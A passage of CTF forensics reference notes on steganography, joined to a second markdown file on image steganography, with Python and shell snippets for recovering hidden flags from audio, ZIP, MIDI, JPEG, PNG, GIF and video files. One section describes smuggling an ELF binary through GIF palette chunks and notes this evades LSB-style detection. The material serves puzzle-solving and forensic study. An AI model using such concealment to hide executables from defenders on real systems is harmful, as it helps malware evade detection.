Audio Spectrogram Hidden QR Code (BaltCTF 2013)\n\n**Pattern:** Audio file contains visual data hidden in the frequency domain, visible only in a spectrogram view.\n\n```bash\n# Generate spectrogram image\nsox audio.mp3 -n spectrogram -o spec.png\n# Or use Sonic Visualiser for interactive exploration\n\n# Look for visual patterns in specific frequency bands (often 5-12 kHz)\n# Extract/assemble QR code fragments from spectrogram\n# Scan with: zbarimg assembled_qr.png\n```\n\n**Key insight:** Use Sonic Visualiser (Layer → Add Spectrogram) with adjustable window size and color mapping. QR codes or text often appear in the 2-15 kHz band. Multiple spectrogram fragments may need to be stitched together in an image editor before scanning.\n\n---\n\n## Byte-Reversed .docx ZIP Bidirectional Archive (Security Fest CTF 2018)\n\n**Pattern (Zion):** Distributed file is a valid `.docx` (ZIP archive). Extract it normally and you see only a decoy document. Reverse the entire file byte-for-byte and the result is *also* a valid ZIP archive — containing a second `word/media/*.png` whose contents are the flag.\n\n**Extraction:**\n```bash\n# Verify the forward archive\nunzip -l doc.docx\n\n# Reverse the byte stream and unpack the mirror archive\npython3 -c \"import sys;sys.stdout.buffer.write(open('doc.docx','rb').read()[::-1])\" > mirror.zip\nunzip -l mirror.zip\nunzip mirror.zip 'word/media/*' -d mirror/\n```\n\n**Why both directions succeed:** ZIP's central directory sits at the end of the archive and the local file headers are parsed only via offsets in that directory. By placing a second set of local headers at the *start* of the file, and a matching central directory at the very end after reversing, the file satisfies the ZIP specification in both reading orders. Python's `zipfile` and `unzip -l` read the central directory from the tail, so they happily open whichever end is presented first.\n\n**Key insight:** Always test container files for byte-reversal, bit-reversal, and byte-interleaving when the forward extraction yields only a decoy. Run `binwalk` on both the forward and reversed copies to surface embedded archives hidden in either direction. The trick generalizes to any format whose parser tolerates trailing garbage (ZIP, RAR, PDF, tar).\n\n**References:** Security Fest CTF 2018 — writeup 10204\n\n---\n\n## MIDI Note-On/Note-Off Pitch Pair Encoding (X-MAS CTF 2018)\n\n**Pattern:** MIDI file plays nothing recognisable but has a strict alternating Note-On/Note-Off pattern. The hidden message is split one byte per *pair*: `ord(char) = note_on_pitch + note_off_pitch`. Sometimes encoded as high/low nibble: `ord(char) = (on \u003c\u003c 4) | off`.\n\n```python\nimport mido\nmid = mido.MidiFile('hidden.mid')\nons, offs = [], []\nfor ev in mid.tracks[0]:\n if ev.type == 'note_on': ons.append(ev.note)\n elif ev.type == 'note_off': offs.append(ev.note)\nflag = ''.join(chr(o + f) for o, f in zip(ons, offs))\n```\n\n**Key insight:** MIDI pitch values are 7-bit (0..127), so any byte can be split across two notes. When a MIDI sounds \"atonal\" but obeys strict note-pair alternation, test `on + off`, `(on\u003c\u003c4)|off`, `off - on`, and XOR combinations before assuming audio stego.\n\n**References:** X-MAS CTF 2018 — A Christmas Carol, writeup 12667\n\n---\n\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":19975,"content_sha256":"4ca43f439d9acb71f607535e1e91fd411384adf5153f87d76cf440e4a545f794"},{"filename":"stego-image.md","content":"# CTF Forensics - Image Steganography\n\nTechniques specific to hiding data in image formats (JPEG, PNG, BMP, GIF). For non-image steganography (PDF, audio, terminal, text), see [steganography.md](steganography.md). For advanced techniques (FFT, SSTV, audio, video, JPEG XL), see [stego-advanced.md](stego-advanced.md) and [stego-advanced-2.md](stego-advanced-2.md).\n\n## Table of Contents\n- [JPEG Unused Quantization Table LSB Steganography (EHAX 2026)](#jpeg-unused-quantization-table-lsb-steganography-ehax-2026)\n- [BMP Bitplane QR Code Extraction + Steghide (BYPASS CTF 2025)](#bmp-bitplane-qr-code-extraction--steghide-bypass-ctf-2025)\n- [Image Jigsaw Puzzle Reassembly via Edge Matching (BYPASS CTF 2025)](#image-jigsaw-puzzle-reassembly-via-edge-matching-bypass-ctf-2025)\n- [F5 JPEG DCT Coefficient Ratio Detection (ApoorvCTF 2026)](#f5-jpeg-dct-coefficient-ratio-detection-apoorvctf-2026)\n- [PNG Unused Palette Entry Steganography (ApoorvCTF 2026)](#png-unused-palette-entry-steganography-apoorvctf-2026)\n- [QR Code Tile Reconstruction (UTCTF 2026)](#qr-code-tile-reconstruction-utctf-2026)\n- [Seed-Based Pixel Permutation + Multi-Bitplane QR (L3m0nCTF 2025)](#seed-based-pixel-permutation--multi-bitplane-qr-l3m0nctf-2025)\n- [JPEG Thumbnail Pixel-to-Text Mapping (RuCTF 2013)](#jpeg-thumbnail-pixel-to-text-mapping-ructf-2013)\n- [Conditional LSB Extraction — Near-Black Pixel Filter (BaltCTF 2013)](#conditional-lsb-extraction--near-black-pixel-filter-baltctf-2013)\n- [JPEG Slack Space Steganography (BSidesSF 2025)](#jpeg-slack-space-steganography-bsidessf-2025)\n- [Nearest-Neighbor Interpolation Steganography (BSidesSF 2025)](#nearest-neighbor-interpolation-steganography-bsidessf-2025)\n- [RGB Parity Steganography (Break In 2016)](#rgb-parity-steganography-break-in-2016)\n- [Pixel Coordinate Chain Steganography (H4ckIT CTF 2016)](#pixel-coordinate-chain-steganography-h4ckit-ctf-2016)\n- [AVI Frame Differential Pixel Steganography (H4ckIT CTF 2016)](#avi-frame-differential-pixel-steganography-h4ckit-ctf-2016)\n- [JPEG Single-Bit-Flip Brute Force with OCR (SECCON 2017)](#jpeg-single-bit-flip-brute-force-with-ocr-seccon-2017)\n- [GIF Frame PLTE Chunk Concatenation to ELF (IceCTF 2018)](#gif-frame-plte-chunk-concatenation-to-elf-icectf-2018)\n- [Nested-Resize QR Overlay at Survivor Pixels (SECCON 2018)](#nested-resize-qr-overlay-at-survivor-pixels-seccon-2018)\n- [ImageMagick +append Puzzle Stitching + gaps Solver (X-MAS CTF 2018)](#imagemagick-append-puzzle-stitching--gaps-solver-x-mas-ctf-2018)\n- [Steghide Passphrase in JPEG Header Metadata (Saudi/Oman CTF 2019)](#steghide-passphrase-in-jpeg-header-metadata-saudioman-ctf-2019)\n- [Corrupted PNG Magic and Lowercase Chunk Repair (Pragyan CTF 2019)](#corrupted-png-magic-and-lowercase-chunk-repair-pragyan-ctf-2019)\n\n---\n\n## JPEG Unused Quantization Table LSB Steganography (EHAX 2026)\n\n**Pattern (Jpeg Soul):** \"Insignificant\" hint points to least significant bits in JPEG quantization tables (DQT). JPEG can embed DQT tables (ID 2, 3) that are never referenced by frame markers — invisible to renderers but carry hidden data.\n\n**Detection:** JPEG has more DQT tables than components reference. Standard JPEG uses 2 tables (luminance + chrominance); extra tables with IDs 2, 3 are suspicious.\n\n```python\nfrom PIL import Image\n\nimg = Image.open('challenge.jpg')\n\n# Access quantization tables (PIL exposes them as dict)\n# Standard: tables 0 (luminance) and 1 (chrominance)\n# Hidden: tables 2, 3 (unreferenced by SOF marker)\nqtables = img.quantization\n\nbits = []\nfor table_id in sorted(qtables.keys()):\n if table_id >= 2: # Unused tables\n table = qtables[table_id]\n for i in range(64): # 8x8 = 64 values per DQT\n bits.append(table[i] & 1) # Extract LSB\n\n# Convert bits to ASCII\nflag = ''\nfor i in range(0, len(bits) - 7, 8):\n byte = int(''.join(str(b) for b in bits[i:i+8]), 2)\n if 32 \u003c= byte \u003c= 126:\n flag += chr(byte)\nprint(flag)\n```\n\n**Manual DQT extraction (when PIL doesn't expose all tables):**\n```python\n# Parse JPEG manually to find all DQT markers (0xFFDB)\ndata = open('challenge.jpg', 'rb').read()\npos = 0\nwhile pos \u003c len(data) - 1:\n if data[pos] == 0xFF and data[pos+1] == 0xDB:\n length = int.from_bytes(data[pos+2:pos+4], 'big')\n dqt_data = data[pos+4:pos+2+length]\n table_id = dqt_data[0] & 0x0F\n precision = (dqt_data[0] >> 4) & 0x0F # 0=8-bit, 1=16-bit\n values = list(dqt_data[1:65]) if precision == 0 else []\n print(f\"DQT table {table_id}: {values[:8]}...\")\n pos += 2 + length\n else:\n pos += 1\n```\n\n**Key insight:** JPEG quantization tables are metadata — they survive recompression and most image processing. Unused table IDs (2-15) can carry arbitrary data without affecting the image.\n\n---\n\n## BMP Bitplane QR Code Extraction + Steghide (BYPASS CTF 2025)\n\n**Pattern (Gold Challenge):** BMP image with QR code hidden in a specific bitplane. Extract the QR code to obtain a steghide password.\n\n**Technique:** Extract individual bitplanes (bits 0-2) for each RGB channel, render as images, scan for QR codes.\n\n```python\nfrom PIL import Image\nimport numpy as np\n\nimg = Image.open('challenge.bmp')\npixels = np.array(img)\n\n# Extract individual bitplanes\nfor ch_idx, ch_name in enumerate(['R', 'G', 'B']):\n for bit in range(3): # Check bits 0, 1, 2\n channel = pixels[:, :, ch_idx]\n bit_plane = ((channel >> bit) & 1) * 255\n Image.fromarray(bit_plane.astype(np.uint8)).save(f'bit_{ch_name}_{bit}.png')\n\n# Combined LSB across all channels\nlsb_img = np.zeros_like(pixels)\nfor ch in range(3):\n lsb_img[:, :, ch] = (pixels[:, :, ch] & 1) * 255\nImage.fromarray(lsb_img).save('lsb_all.png')\n```\n\n**Full attack chain:**\n1. Extract bitplanes → find QR code in specific bitplane (often bit 1, not bit 0)\n2. Scan QR with `zbarimg bit_G_1.png` → get steghide password\n3. `steghide extract -sf challenge.bmp -p \u003cpassword>` → extract hidden file\n\n**Key insight:** Standard LSB (least significant bit) tools check bit 0 only. Hidden QR codes may be in bit 1 or bit 2 — always check multiple bitplanes systematically. BMP format preserves exact pixel values (no compression artifacts).\n\n---\n\n## Image Jigsaw Puzzle Reassembly via Edge Matching (BYPASS CTF 2025)\n\n**Pattern (Jigsaw Puzzle):** Archive containing multiple puzzle piece images that must be reassembled into the original image. Reassembled image contains the flag (possibly ROT13 encoded).\n\n**Technique:** Compute pixel intensity differences at shared edges between all piece pairs, then greedily place pieces to minimize total edge difference.\n\n```python\nfrom PIL import Image\nimport numpy as np\nimport os\n\n# Load all pieces\npieces = {}\nfor f in sorted(os.listdir('pieces/')):\n pieces[f] = np.array(Image.open(f'pieces/{f}'))\n\npiece_list = list(pieces.keys())\nn = len(piece_list)\ngrid_size = int(n ** 0.5) # e.g., 25 pieces → 5x5\n\n# Calculate edge compatibility\ndef edge_diff(img1, img2, direction):\n if direction == 'right':\n return np.sum(np.abs(img1[:, -1].astype(int) - img2[:, 0].astype(int)))\n elif direction == 'bottom':\n return np.sum(np.abs(img1[-1, :].astype(int) - img2[0, :].astype(int)))\n\n# Build compatibility matrices\nright_compat = np.full((n, n), float('inf'))\nbottom_compat = np.full((n, n), float('inf'))\nfor i in range(n):\n for j in range(n):\n if i != j:\n right_compat[i, j] = edge_diff(pieces[piece_list[i]], pieces[piece_list[j]], 'right')\n bottom_compat[i, j] = edge_diff(pieces[piece_list[i]], pieces[piece_list[j]], 'bottom')\n\n# Greedy placement\ngrid = [[None] * grid_size for _ in range(grid_size)]\nused = set()\nfor row in range(grid_size):\n for col in range(grid_size):\n best_piece, best_diff = None, float('inf')\n for idx in range(n):\n if idx in used:\n continue\n diff = 0\n if col > 0:\n diff += right_compat[grid[row][col-1], idx]\n if row > 0:\n diff += bottom_compat[grid[row-1][col], idx]\n if diff \u003c best_diff:\n best_diff, best_piece = diff, idx\n grid[row][col] = best_piece\n used.add(best_piece)\n\n# Reassemble\npiece_h, piece_w = pieces[piece_list[0]].shape[:2]\nfinal = Image.new('RGB', (grid_size * piece_w, grid_size * piece_h))\nfor row in range(grid_size):\n for col in range(grid_size):\n final.paste(Image.open(f'pieces/{piece_list[grid[row][col]]}'),\n (col * piece_w, row * piece_h))\nfinal.save('reassembled.png')\n```\n\n**Post-processing:** Check if reassembled image text is ROT13 encoded. Decode with `tr 'A-Za-z' 'N-ZA-Mn-za-m'`.\n\n**Key insight:** Edge-matching works by minimizing pixel differences at shared borders. The greedy approach (place piece with smallest total edge difference to already-placed neighbors) works well for most CTF puzzles. For harder puzzles, add backtracking.\n\n---\n\n## F5 JPEG DCT Coefficient Ratio Detection (ApoorvCTF 2026)\n\n**Pattern (Engraver's Fault):** Detect F5 steganography in JPEG images by analyzing DCT coefficient distributions. F5 decrements ±1 AC coefficients toward 0, creating a measurable ratio shift.\n\n**Detection metric — ±1/±2 AC coefficient ratio:**\n```python\nimport numpy as np\nfrom PIL import Image\nimport jpegio # or use jpeg_toolbox\n\ndef f5_ratio(jpeg_path):\n \"\"\"Ratio below 0.15 indicates F5 modification; above 0.20 indicates clean.\"\"\"\n jpg = jpegio.read(jpeg_path)\n coeffs = jpg.coef_arrays[0].flatten() # Luminance Y channel\n coeffs = coeffs[coeffs != 0] # Remove DC/zeros\n count_1 = np.sum(np.abs(coeffs) == 1)\n count_2 = np.sum(np.abs(coeffs) == 2)\n return count_1 / max(count_2, 1)\n```\n\n**Sparse image edge case:** Images with >80% zero DCT coefficients give misleading ±1/±2 ratios. Use a secondary metric:\n```python\ndef f5_sparse_check(jpeg_path):\n \"\"\"For sparse images, ±2/±3 ratio below 2.5 indicates modification.\"\"\"\n jpg = jpegio.read(jpeg_path)\n coeffs = jpg.coef_arrays[0].flatten()\n count_2 = np.sum(np.abs(coeffs) == 2)\n count_3 = np.sum(np.abs(coeffs) == 3)\n return count_2 / max(count_3, 1)\n\n# Combined classifier:\nr12 = f5_ratio(path)\nr23 = f5_sparse_check(path)\nis_modified = r12 \u003c 0.15 or (r12 \u003c 0.25 and r23 \u003c 2.5)\n```\n\n**Key insight:** F5 steganography shifts ±1 coefficients toward 0, reducing the ±1/±2 ratio. Natural JPEGs have ratio 0.25-0.45; F5-modified drop below 0.10. Sparse images (mostly flat/white) need the secondary ±2/±3 metric because their ±1 counts are inherently low.\n\n---\n\n## PNG Unused Palette Entry Steganography (ApoorvCTF 2026)\n\n**Pattern (The Gotham Files):** Paletted PNG (8-bit indexed color) hides data in palette entries that no pixel references. The image uses indices 0-199 but the PLTE chunk has 256 entries — indices 200-255 contain hidden ASCII in their red channel values.\n\n```python\nfrom PIL import Image\nimport struct\n\ndef extract_unused_plte(png_path):\n img = Image.open(png_path)\n palette = img.getpalette() # Flat list: [R0,G0,B0, R1,G1,B1, ...]\n pixels = list(img.getdata())\n used_indices = set(pixels)\n\n # Extract red channel from unused palette entries\n flag = ''\n for i in range(256):\n if i not in used_indices:\n r = palette[i * 3] # Red channel\n if 32 \u003c= r \u003c= 126:\n flag += chr(r)\n return flag\n```\n\n**Key insight:** PNG palette can have up to 256 entries but images typically use fewer. Unused entries are invisible to viewers but persist in the file. Metadata hints like \"collector\", \"the entries that don't make it to the page\", or \"red light\" point to this technique. Always check which palette indices are actually referenced vs. allocated.\n\n---\n\n## QR Code Tile Reconstruction (UTCTF 2026)\n\n**Pattern (QRecreate):** QR code split into tiles/pieces that must be reassembled. Tiles may be scrambled, rotated, or have missing alignment patterns.\n\n**Reconstruction workflow:**\n```python\nfrom PIL import Image\nimport numpy as np\n\n# Load scrambled tiles\ntiles = []\nfor i in range(N_TILES):\n tile = Image.open(f'tile_{i}.png')\n tiles.append(np.array(tile))\n\n# Strategy 1: Edge matching (like jigsaw puzzle)\n# Each tile edge has a unique bit pattern — match adjacent edges\ndef edge_signature(tile, side):\n if side == 'top': return tuple(tile[0, :].flatten())\n if side == 'bottom': return tuple(tile[-1, :].flatten())\n if side == 'left': return tuple(tile[:, 0].flatten())\n if side == 'right': return tuple(tile[:, -1].flatten())\n\n# Strategy 2: QR structure constraints\n# - Finder patterns (large squares) MUST be at 3 corners\n# - Timing patterns (alternating B/W) run between finders\n# - Use these as anchors to orient remaining tiles\n\n# Strategy 3: Brute force small grids\n# For 3x3 or 4x4 grids, try all permutations and scan with zbarimg\nfrom itertools import permutations\nimport subprocess\n\ngrid_size = 3\ntile_size = tiles[0].shape[0]\nfor perm in permutations(range(len(tiles))):\n img = Image.new('L', (grid_size * tile_size, grid_size * tile_size))\n for idx, tile_idx in enumerate(perm):\n row, col = divmod(idx, grid_size)\n img.paste(Image.fromarray(tiles[tile_idx]),\n (col * tile_size, row * tile_size))\n img.save('/tmp/qr_attempt.png')\n result = subprocess.run(['zbarimg', '/tmp/qr_attempt.png'],\n capture_output=True, text=True)\n if result.stdout.strip():\n print(f\"DECODED: {result.stdout}\")\n break\n```\n\n**Key insight:** QR codes have structural constraints (finder patterns, timing patterns, format info) that drastically reduce the search space. Use QR structure as anchors before brute-forcing tile positions.\n\n---\n\n## Seed-Based Pixel Permutation + Multi-Bitplane QR (L3m0nCTF 2025)\n\n**Pattern (Lost Signal):** Image with randomized pixel colors hides a QR code. Pixels are visited in a seed-determined permutation order, and data is interleaved across multiple bitplanes of the luminance (Y) channel.\n\n**Extraction workflow:**\n1. Convert image to YCbCr and extract Y (luminance) channel\n2. Generate the pixel visit order using the known seed\n3. Extract LSB bits from multiple bitplanes in interleaved order\n4. Reconstruct as a binary image and scan as QR code\n\n```python\nfrom PIL import Image\nimport numpy as np\n\nSEED = 739391 # Given or brute-forced\n\n# 1. Extract Y channel\nimg = Image.open(\"challenge.png\").convert(\"YCbCr\")\nY = np.array(img.split()[0], dtype=np.uint8)\nh, w = Y.shape\n\n# 2. Generate deterministic pixel permutation\nrng = np.random.RandomState(SEED)\nperm = np.arange(h * w)\nrng.shuffle(perm)\n\n# 3. Extract bits from multiple bitplanes (interleaved)\nbitplanes = [0, 1] # LSB0 and LSB1\ntotal_bits = h * w\nbits = np.zeros(total_bits, dtype=np.uint8)\n\nfor i in range(total_bits):\n pix_idx = perm[i // len(bitplanes)]\n bp = bitplanes[i % len(bitplanes)]\n y, x = divmod(pix_idx, w)\n bits[i] = (Y[y, x] >> bp) & 1\n\n# 4. Reconstruct QR code\nqr = bits.reshape((h, w))\nqr_img = Image.fromarray((255 * (1 - qr)).astype(np.uint8))\nqr_img.save(\"recovered_qr.png\")\n# zbarimg recovered_qr.png\n```\n\n**Key insight:** The seed defines a deterministic pixel visit order (Fisher-Yates shuffle via `RandomState`). Without the correct seed, output is random noise. Bits from different bitplanes are interleaved (bit 0 from pixel N, bit 1 from pixel N, bit 0 from pixel N+1, ...), doubling the data density. Try the Y (luminance) channel first — it has the highest contrast for hidden binary data.\n\n**Seed recovery:** If the seed is unknown, look for it in: EXIF metadata, filename, image dimensions, challenge description numbers, or brute-force small ranges.\n\n**Detection:** Image appears as random colored noise but has suspicious dimensions (perfect square, power of 2). Challenge mentions \"seed\", \"random\", or \"signal\".\n\n---\n\n## JPEG Thumbnail Pixel-to-Text Mapping (RuCTF 2013)\n\n**Pattern:** JPEG contains an embedded thumbnail where dark pixels map 1:1 to character positions in visible text on the main image.\n\n```python\nfrom PIL import Image\n# Extract thumbnail: exiftool -b -ThumbnailImage secret.jpg > thumb.jpg\nthumb = Image.open('thumb.jpg')\ntext_lines = [\"line1 of visible text...\", \"line2...\"] # OCR or type from photo\nresult = ''\nfor y in range(thumb.height):\n for x in range(thumb.width):\n r, g, b = thumb.getpixel((x, y))[:3]\n if r \u003c 100 and g \u003c 100 and b \u003c 100: # Dark pixel = selected char\n result += text_lines[y][x]\n```\n\n**Key insight:** Extract thumbnails with `exiftool -b -ThumbnailImage`. Dark pixels act as a selection mask over the photographed text. Use OCR (ABBYY FineReader, Tesseract) to get the text grid, then map dark thumbnail pixels to character positions.\n\n---\n\n## Conditional LSB Extraction — Near-Black Pixel Filter (BaltCTF 2013)\n\n**Pattern:** Only pixels with R\u003c=1 AND G\u003c=1 AND B\u003c=1 carry steganographic data. Standard LSB tools miss the data because they process all pixels.\n\n```python\nfrom PIL import Image\nimg = Image.open('image.png')\nbits = ''\nfor pixel in img.getdata():\n r, g, b = pixel[0], pixel[1], pixel[2]\n if not (r \u003c= 1 and g \u003c= 1 and b \u003c= 1):\n continue # Skip non-carrier pixels\n bits += str(r & 1) + str(g & 1) + str(b & 1)\n# Convert bits to bytes\nflag = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits)-7, 8))\n```\n\n**Key insight:** When standard `zsteg`/`stegsolve` find nothing, try filtering pixels by value range before LSB extraction. The carrier pixels may be restricted to near-black, near-white, or specific color ranges.\n\n---\n\n## JPEG Slack Space Steganography (BSidesSF 2025)\n\nJPEG compression pads images to 8x8 pixel block boundaries. Data hidden in the padding pixels beyond the visible image dimensions:\n\n1. **Identify padded dimensions:** JPEG rounds up to nearest multiple of 8. A 253x195 image pads to 256x200\n2. **Extract slack pixels:** Use tools to extend visible region to true block dimensions\n\n```bash\n# Extend image to see slack pixels\npython3 jpeg_uncrop.py input.jpg --width 256 --height 200\n# Or use ImageMagick to force full decode\nmagick input.jpg -define jpeg:size=256x200 extended.png\n```\n\n3. **Decode binary from slack pixels:** Black=0, white=1 in the padding region. Common encoding:\n - 2 bytes: magic number\n - 1 byte: key length\n - N bytes: encryption key\n - 1 byte: message length\n - N bytes: encrypted message\n\n**Key insight:** Most image editors and viewers crop to the stated dimensions, hiding the padding. Use `jpegtran -crop` or raw DCT decoders to access full block data.\n\n---\n\n## Nearest-Neighbor Interpolation Steganography (BSidesSF 2025)\n\nHidden data encoded as a pixel grid at regular intervals within a high-resolution image. Downscaling with nearest-neighbor interpolation extracts only the hidden pixels:\n\n```bash\n# Hidden pixels spaced 16 apart in a 4096x3072 image\n# Downscale by 16x with nearest-neighbor to recover 256x192 hidden image\nmagick flag.webp -interpolate nearest-neighbor -interpolative-resize 256x192 flag_visible.png\n```\n\n**Key insight:** Nearest-neighbor interpolation selects exact pixel values (no blending), preserving the hidden data. Bilinear or bicubic interpolation would average surrounding pixels, destroying the message. The challenge name or description often hints at the interpolation method.\n\n**Detection:** Open in image viewer and zoom to see repeating pixel patterns at regular intervals. Calculate GCD of image dimensions and suspected grid spacing.\n\n---\n\n## RGB Parity Steganography (Break In 2016)\n\nHidden image encoded in the parity of pixel RGB sums. Sum R+G+B per pixel -- even sum = white, odd sum = black. Renders a binary bitmap containing the hidden message.\n\n```python\nfrom PIL import Image\nimg = Image.open('image.png')\nout = Image.new('1', img.size)\nfor x in range(img.width):\n for y in range(img.height):\n r, g, b = img.getpixel((x, y))[:3]\n out.putpixel((x, y), (r + g + b) % 2)\nout.save('hidden.png')\n```\n\n**Key insight:** Unlike LSB (Least Significant Bit) stego (single channel, single bit), parity stego uses the combined sum of all channels. Look for challenge hints about \"pairs\", \"couples\", or \"adding colors\".\n\n**Detection:** Image appears normal but pixel RGB sums show non-random parity distribution.\n\n---\n\n## Pixel Coordinate Chain Steganography (H4ckIT CTF 2016)\n\nEach pixel encodes a data byte in the red channel and the coordinates of the next pixel to read in the green and blue channels, forming a linked-list traversal through the image.\n\n```python\nfrom PIL import Image\n\ndef extract_coordinate_chain(image_path, start_x=0, start_y=0):\n \"\"\"Follow coordinate chain: R=data, G=next_x, B=next_y\"\"\"\n img = Image.open(image_path)\n flag = \"\"\n x, y = start_x, start_y\n visited = set()\n\n while (x, y) not in visited:\n visited.add((x, y))\n r, g, b = img.getpixel((x, y))[:3]\n\n if r == 0: # null terminator\n break\n\n flag += chr(r)\n x, y = g, b # next pixel coordinates from green and blue channels\n\n return flag\n\n# Variants:\n# - (R,G) = coordinates, B = data byte\n# - Coordinates stored as (G*256+B) for images wider than 256px\n# - Starting pixel indicated by metadata or known offset\n```\n\n**Key insight:** Linked-list pixel traversal hides both the message and the reading order. Standard LSB analysis misses this because only specific pixels carry data. Look for images where green/blue channels have suspiciously structured values (small numbers that could be coordinates).\n\n---\n\n## AVI Frame Differential Pixel Steganography (H4ckIT CTF 2016)\n\nCompare consecutive video frames pixel-by-pixel. Pixels that increment by exactly 1 encode a \"1\" bit; unchanged pixels encode \"0\". Collect bits to form a Brainfuck program or binary message.\n\n```python\nfrom PIL import Image\nimport subprocess\n\ndef extract_frame_differential(frame_dir, num_frames):\n \"\"\"Compare consecutive frames: incremented pixel = 1, same = 0\"\"\"\n bits = \"\"\n\n for i in range(num_frames - 1):\n img1 = Image.open(f\"{frame_dir}/frame_{i:04d}.png\")\n img2 = Image.open(f\"{frame_dir}/frame_{i+1:04d}.png\")\n\n pixels1 = list(img1.getdata())\n pixels2 = list(img2.getdata())\n\n for p1, p2 in zip(pixels1, pixels2):\n if p1 != p2:\n # Pixel changed (incremented by 1) = bit \"1\"\n bits += \"1\"\n else:\n bits += \"0\"\n\n # Convert bits to ASCII or interpret as Brainfuck\n message = \"\"\n for i in range(0, len(bits), 8):\n byte = int(bits[i:i+8], 2)\n if 32 \u003c= byte \u003c 127:\n message += chr(byte)\n\n return message\n\n# Extract frames from AVI first:\n# binwalk video.avi (extracts embedded PNG/BMP frames)\n# or: ffmpeg -i video.avi frame_%04d.png\n```\n\n**Key insight:** Frame differential steganography hides data in the temporal domain rather than spatial. Standard image stego tools analyze single frames and miss inter-frame changes. Extract all frames, then diff consecutive pairs looking for single-pixel-value increments.\n\n---\n\n### JPEG Single-Bit-Flip Brute Force with OCR (SECCON 2017)\n\nCorrupted JPEG with a single bitflip. Generate all single-bit variants and scan with OCR:\n\n```python\ndata = open('corrupted.jpg', 'rb').read()\nfor byte_pos in range(len(data)):\n for bit in range(8):\n candidate = data[:byte_pos] + bytes([data[byte_pos] ^ (1 \u003c\u003c bit)]) + data[byte_pos+1:]\n with open(f'attempt_{byte_pos}_{bit}.jpg', 'wb') as f:\n f.write(candidate)\n```\n\n```bash\n# Automated OCR scan for flag\nfor f in attempt_*.jpg; do\n result=$(tesseract \"$f\" stdout 2>/dev/null)\n if echo \"$result\" | grep -qi \"flag\\|ctf\\|SECCON\"; then\n echo \"FOUND in $f: $result\"\n fi\ndone\n```\n\n**Key insight:** For small files (\u003c 10KB), the total search space for single-bit flips is `8 * file_size` — typically under 80,000 candidates, easily brute-forceable. Use thumbnail generation as a fast validity check (corrupt JPEGs fail to decode), then OCR on survivors. JPEG compressed data rule: `0xFF` is always followed by `0x00` (stuffed byte) or a marker — violations indicate the corruption location.\n\n---\n\n## GIF Frame PLTE Chunk Concatenation to ELF (IceCTF 2018)\n\n**Pattern:** A GIF hides a Linux ELF binary by breaking it into indexed PNG frames. Each frame's `PLTE` (palette) chunk holds the next slice of the binary — the actual pixel data is irrelevant. Extract with Pillow: iterate frames, convert each to PNG, walk the PNG chunks, concatenate every `PLTE` body, and the result is a valid ELF file.\n\n```python\nfrom PIL import Image, ImagePalette\nimport struct\n\ndef read_png_plte(png_bytes):\n i = 8 # skip PNG magic\n while i \u003c len(png_bytes):\n length = struct.unpack(\">I\", png_bytes[i:i+4])[0]\n ctype = png_bytes[i+4:i+8]\n body = png_bytes[i+8:i+8+length]\n if ctype == b\"PLTE\":\n return body\n i += 12 + length\n return b\"\"\n\npayload = bytearray()\nwith Image.open(\"carrier.gif\") as gif:\n for frame in range(gif.n_frames):\n gif.seek(frame)\n png_buf = io.BytesIO()\n gif.save(png_buf, \"PNG\")\n payload += read_png_plte(png_buf.getvalue())\n\nopen(\"recovered.elf\", \"wb\").write(payload)\n```\n\n**Key insight:** GIF frames are internally stored with their own palettes. When you re-encode each frame as a PNG, the palette survives as a `PLTE` chunk — an ignored but byte-accurate container. Any stego carrier that uses a multi-frame format with per-frame metadata (GIF palettes, APNG frame data, PDF page streams, MKV tracks) lets you embed data in the *metadata channel* instead of the pixel channel, bypassing most LSB-style detection. When a GIF looks like a harmless animation but contains extra frames or palette entries, dump chunk-by-chunk before touching the pixels.\n\n**References:** IceCTF 2018 — ilovebees, writeup 11418\n\n---\n\n## Nested-Resize QR Overlay at Survivor Pixels (SECCON 2018)\n\n**Pattern:** Challenge PNG decodes to two different QR codes depending on how many times it is scaled down with nearest-neighbor interpolation (500 → 250 → 100 → 50). Track which source pixels survive every reduction: for a 10× chain with `PIL.Image.resize(size, Image.NEAREST)`, survivors sit at indices `(10i+7, 10j+7)`. Overlay a second QR at exactly those positions so it only emerges after the chained resize.\n\n```python\nfrom PIL import Image\nbig = Image.open('qr1.png') # 500x500 visible QR\nsmall = Image.open('qr2.png') # 50x50 hidden QR\npx = big.load()\nsx = small.load()\nfor i in range(50):\n for j in range(50):\n px[10*i+7, 10*j+7] = sx[i, j]\nbig.save('trap.png')\n```\n\n**Key insight:** Nearest-neighbor resize keeps exactly one pixel per source block; its offset depends on rounding (PIL picks `floor(original*scale)+0.5`). Compute the survivor index once per resize step, then compose the nested stego at those indices. Works for any number of cascaded resizes as long as the interpolation is nearest-neighbor.\n\n**References:** SECCON 2018 — QRChecker, writeup 12014\n\n---\n\n## ImageMagick +append Puzzle Stitching + gaps Solver (X-MAS CTF 2018)\n\n**Pattern:** Disk image contains N puzzle-piece PNGs carved out by `foremost` or `scalpel`. Stitch all pieces horizontally with ImageMagick `convert +append`, then feed the strip to the `gaps` jigsaw solver (https://github.com/nemanja-m/gaps) with the known piece size (often stored in EXIF) to auto-reassemble.\n\n```bash\nforemost -t png -i disk.img -o pieces\nconvert +append pieces/*.png strip.png\ngaps --image=strip.png --size=273\n```\n\n**Key insight:** CTF jigsaw challenges rarely require manual work. Carve pieces, stitch, run `gaps` — it uses a genetic algorithm to reassemble in minutes. Read `exiftool` on each piece for the size hint.\n\n**References:** X-MAS CTF 2018 — Message from Santa, writeup 12662\n\n---\n\n## Steghide Passphrase in JPEG Header Metadata (Saudi/Oman CTF 2019)\n\n**Pattern:** JPEG file with `steghide`-embedded payload whose passphrase is hidden in plain ASCII inside the JPEG header/metadata region. Standard tools (`exiftool`, `strings`) may miss it if the byte range isn't flagged as a proper EXIF/comment tag, but `xxd` on the first few hundred bytes reveals the string.\n\n```bash\n# Scan header for suspicious ASCII\nxxd info.jpg | head -20\n# 00000010: ffdb 0043 0008 6261 6469 7362 6164 0008 ...C..badisbad..\n# ^^^^^^^^^^^^^^^^^ passphrase at offset 0x18\n\n# Confirm steghide payload with the passphrase\nsteghide --info info.jpg # prompts for passphrase\nsteghide extract -sf info.jpg -p badisbad\n```\n\n**Key insight:** Always scan the first ~256 bytes of a JPEG with `xxd`/`hexdump -C` for ASCII runs — authors sometimes stuff passphrases into reserved areas of JFIF/APPn segments where `exiftool` doesn't surface them, but they're trivially visible in a hex view. Pair the leak with `steghide`, `outguess`, or `stegseek` wordlist 